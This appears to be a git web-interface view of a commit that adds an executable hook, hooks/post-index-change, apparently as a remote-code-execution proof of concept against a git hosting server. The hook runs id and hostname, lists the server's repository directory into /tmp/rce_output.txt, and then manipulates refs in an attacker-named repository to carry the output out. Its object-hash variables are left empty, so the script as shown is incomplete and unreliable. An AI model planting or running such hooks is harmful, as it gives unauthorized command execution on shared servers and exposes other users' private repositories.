apply patch
This commit is contained in:
11
hooks/post-index-change
Executable file
11
hooks/post-index-change
Executable file
@@ -0,0 +1,11 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# Run commands and save output
|
||||||
|
id; hostname; ls /data/git/repositories/ 2>/dev/null | head -20 > /tmp/rce_output.txt 2>&1
|
||||||
|
# Use git to add the output file to the repo
|
||||||
|
cd /data/git/repositories/pocnet_1793467068/netscan3.git 2>/dev/null || exit 0
|
||||||
|
export GIT_DIR=/data/git/repositories/pocnet_1793467068/netscan3.git
|
||||||
|
BLOB=
|
||||||
|
TREE=
|
||||||
|
PARENT=
|
||||||
|
COMMIT=
|
||||||
|
git update-ref refs/heads/main 2>/dev/null
|
||||||
Reference in New Issue
Block a user